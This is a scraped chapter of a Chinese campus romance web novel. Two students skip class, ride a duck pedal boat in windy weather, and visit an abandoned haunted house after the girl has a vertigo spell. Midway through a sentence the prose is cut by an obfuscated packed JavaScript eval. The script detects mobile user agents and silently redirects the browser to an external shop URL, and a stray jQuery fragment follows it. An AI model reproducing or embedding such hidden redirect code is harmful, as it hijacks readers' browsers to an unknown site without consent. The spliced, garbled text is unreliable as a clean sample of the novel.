文趣网 > 其他小说 > 满分不安分[校园] > 62. 第62章 游湖
    闫蓝:???

    “数学没考好,有些低落,你可以陪我走走么?”周先聿说,他眼尾下垂,语气带着些低沉,真像那么回事。

    如果她不认识周先聿,肯定就信了。

    可现实明明相反,一个次次数学都拿第一的学霸,说自己没考好?

    傻子才信!

    “是没拿满分的那种没考好?”她哼了一声。

    周先聿点点头:“算是吧。”然后又上前一步,坚持道,“我不打扰你,只走一走,可以么?”

    男生很高,此刻却低着头看他,镜片后的眼睛闪着光,像一头乖顺的长颈鹿。

    实在是让人无法拒绝。

    “随你。”她说完继续朝前走。

    此时正值附近一所小学放学,原本空落落的街道上,瞬间叽叽喳喳。

    闫蓝原本只想静静,可现在耳朵里全是高音量的“妈妈妈妈!我要吃火鸡面!”“妈妈我跟你说今天可厉害了……”魔音贯耳,想静静不了。

    她看着街道另一侧的一个旧公园,果断拐了过去。

    “南湖公园,去不去?”

    周先聿点头:“嗯。”

    南湖公园是个老公园,不大,中间有一个不大不小的人工湖。湖上飘着几只陈旧的五彩脚踏船,正随着水波随意摆动。

    闫蓝在掉光了枝叶的柳树旁,找了个石凳子坐下。

    周先聿坐在空着的另一侧,那本《考前宝典》摆在二人中间。

    “不去打印店?”闫蓝瞥了一眼。

    周先聿眼尾稍动:“下次去。”

    “真是老王让你去打印?”闫蓝稍稍坐直,指着那本书,还是有点不敢相信,“为了这次考试?”

    “是为了考试。”周先聿说,“不过,不是为了这次。”

    不是这次?这学期哪还有其他考试?过几天就放寒假了,老王不至于这么恐怖地把下学期的考试都提前规划好了吧?

    “是高一的考试。”周先聿看着她脸上的疑惑,解释道。

    噢,难怪。

    高一的期末考在下个星期。

    高三的都考了一天了才打印资料,也不合理。

    “我出来,是翘课。”他又说道。

    闫蓝:……

    这不明摆着的么。

    闫蓝没再说话,她继续看着那几个早已褪色的卡通脚踏船。

    她小时候挺爱玩的,夏林总是会在夏天带她来南湖公园坐船。火红的烈日照在湖面上,空气都散发着热气,脚踏船的棚下成了唯一阴凉处。

    这船有两个脚踏,通常她都会偷懒不动脚,任由着夏林踩着船在湖中间画圆圈。

    每次溅起水花,夏林就会哈哈大笑。有时候她分不清到底是她想玩,还是夏林想玩。

    “想玩么?”身侧传来温和的嗓音。

    “不想。”

    大冬天的划船?才不要。

    “我想玩。”周先聿说。

    闫蓝不知道是怎么坐上了脚踏船,她明明拒绝了,可一看周先聿垂着眼看她,便又忍不住跟着他站了起来。

    他们选的是一个鸭子外形的船,是刚刚她盯着发呆的那只。

    闫蓝先上船,坐在鸭子左侧。等她坐好,下一秒船体沉了沉,周先聿弓着背,贴着鸭子顶棚,坐了下来。

    “救生衣。”周先聿递给她一件橘色救生马甲。

    闫蓝准备伸手去接,可这时,突然一阵大风刮来。

    原本平静的湖面陡然荡起来,才解开绳索的小鸭子像是被安装上马达,被这股大力瞬间被推得离岸边越来越远。

    船身摇摇晃晃的、随着水波忽左忽右……虽然不至于翻船,但也相当诡异。

    闫蓝:!!!

    “诶!那俩学生!掌握好方向盘啊!!要用力!!不要松手啊!!”年迈的老板站在岸边大喊,急得直招手。

    鸭子船虽然有两个脚踏,但方向盘只有一个,正好在闫蓝坐着的这一侧。

    她猛地抓住方向盘,左右转动,试图与风争抢船身的主动权。

    “救生衣。”周先聿看了看还在手里的救生马甲,又看了看闫蓝。

    “等会穿。”

    闫蓝紧紧盯着方向盘,感觉自己跟这股风杠上了。

    要摇鸭子是吧,她偏偏不让。她将力气全都使上,将方向盘打得丝毫不敢乱动。

    “安全第一。”一股温热的气息凑了过来。

    可能是风力的加持,她直觉这句话的力道有些大,大到将她的心思从飘摇的小鸭子,撞到了身侧。

    周先聿要干嘛?怎么越凑越近了?她感觉自己的感官在冷风中被瞬间扩大,感受到这场风似乎越来越猛,凉意越来越深。

    可还没等得及这股冷意窜进心底,另一股熟悉的、温和而又强势的温热气息,又瞬间将她包围,是那种物理上的包围——一截手臂从后绕过她的肩膀,另一只手臂由身前绕过……接着,眼前落下一片橙黄。

    前后两片敞开式的泡沫救生衣,从脑袋向下,套在了她身上。

    明明轻薄的救生衣,此刻却像一件厚棉袄,裹得她直发热。

    而她的肩膀右侧更是热得发烫。周先聿的双臂都穿了过来,一上一下地将她紧握着方向盘的手臂圈了起来。

    她平常要制住宋苒苒乱舞的双手时,也是这个姿势。可此刻她被周先聿圈着,怎么看怎么不对劲。

    “干……干嘛?你晕船?”闫蓝努力镇定道。

    周先聿抬头,露出手中抓着的救生衣细绑绳:“安全绳要绑紧。”

    “哦,哦,谢谢。”

    但身体还是绷着。

    话音一落,她感觉那双手动了起来。那些骨节分明的手指正攥着细绳,一叠一拉,系出了一个牢固又美观的蝴蝶结。

    救生衣有四根绳,等他从下到上一根一根系到最顶上、她的锁骨位置时,低沉的声音很轻地从她下巴上扫过去。

    “仰头。”他说。

    闫蓝浑身像是被速冻住了,全身僵硬。

    周先聿抬起眼,抽出一根手指,搭上她的下巴,轻轻用力,向上一抬。

    那根手指像是火源,瞬间融合了她浑身的血液。

    她感觉船身也剧烈地晃动起来,方向盘像是不受自己控制了,小黄鸭在疯狂转圈。

    感觉不太妙。

    “周先聿。”她艰涩地开口。

    “怎么了?”印着湖水的眼眸深深地看着她。

    闫蓝艰难地咽了咽口水:“我好像耳石症犯了。”

    鸭子被套在岸边,船身还在欢快地在池子里晃荡。

    她被周先聿搀扶着,坐回了湖边的石凳。

    明明那么难控制的鸭子,周先聿是怎么做到一分钟内就驶回了岸边?还能一手握住她的手臂,一手架着她的肩,稳稳地把她扶出了驾驶舱?

    脑袋越来越晕了,像有人在她脑壳里安装了一个大转盘,转得她没办法再继续思考这些问题。

    她闭了下眼。

    还好,周先聿在,不然她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17917947|208916||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    估计得晕在船上。

    不对,要是周先聿不在,她根本不会去坐船啊!说到底,还是怪周先聿,毕竟她翘课也是因为他!

    她后悔了,这课不应该翘的。

    越回溯,头越晕。手中的力道不自觉重了几分。

    “更晕了吗?”周先聿的声音从头顶传下来。

    闫蓝没应。她的指节重重地捏着他的手腕,像一只抓锁,紧紧地扣着他。

    “我背你去医院。”他沉声道。

    背?

    闫蓝脑中猛地涌出一些画面。少年蹲下去的背影,那肩膀宽而稳,她的下巴刚好可以搁在上面。她还记得那校服的面料蹭着她的脸颊,有洗衣液的味道,还有一点点阳光晒过的暖……

    她当时迷迷糊糊的,但那个画面却刻在了脑子里,总是露出来。

    现在想起……感觉脑袋更迷糊了。

    不行,不能再加重病情了。

    况且,像她这种不算太严重的耳石症,其实睡一觉就好。若是去了医院做复位,还得昏天黑地吐一顿。

    不行!绝对不行!

    闫蓝虚摁着额头,摆摆手:“不用,我只是单侧眩晕,换个角度缓一会就好。”

    “单侧眩晕?”周先聿半蹲下身看着她。

    这个高度,两人的视线齐平在一条水平线上。对方脸色的任何一丝变化,都逃不过他的眼睛。

    她点点头:“嗯,头朝左边晕,朝右侧就不晕了。”

    说着,她将头朝右侧偏移了几度。

    周先聿也同步偏了过来。

    “你看,真的。”

    少女紧皱的眉头松弛了几分,脸色也轻缓不少。

    “好,先不去医院。”观察了几秒后,他轻声说。

    但是说完又扶住她的手臂:“但是得换个地方,这里风大。”

    闫蓝没问周先聿要带她去哪,因为她此刻只能偏向右侧,而周先聿又正好站在右侧扶着她,她的头便“自然而然”地靠在了他的胸膛上。

    如果她此刻是晕乎乎的,倒也罢了,可偏偏这个角度让她清醒无比。

    她能感觉到他的脉搏——沉稳的、有力的、一下一下的撞进她的耳膜里。

    妈呀!

    她不知道自己是什么感觉,只知道她比方才更“晕”了。她只好闭着眼,假装需要被搀扶着向前。

    过了几分钟,等那些冷风好像停了,她听见周先聿说:“到了。”

    她睁开眼。

    !!!

    周先聿怎么把她带到了这?这是她曾经最喜欢地方,鬼屋。

    “你怎么知道这个地方?”她靠坐在前台的长凳上,仰头看着。

    鬼屋,顾名思义当然是阴森、隐蔽的。南湖公园的鬼屋更甚,直接选在公园树木最茂盛的角落,第一次来的人根本找不到它。

    只是,这个曾经小时候最爱的地方,如今竟然已经落败了。前台早已没人,通往鬼屋内部的铁门也落着大锁,墙体上张着嘴的血腥怪兽褪成淡粉色,画着尖锐的牙齿墙体脱落,早已没有能引起小朋友尖叫的恐怖力,侧面看甚至像是掉光了牙,很有几分滑稽。

    “小时候来过。”周先聿坐在她左侧。

    “我还以为你一直呆在舟市呢?”闫蓝挪动了下身体,又打量起鬼屋的其他部分,那些夹杂着尖叫、大笑的回忆涌了出来,她不禁说,“那你还记得这鬼屋中间有个必经的地下通道吗?又窄又黑,老吓人了……”

    “嗯,记得。”他看向那把大锁。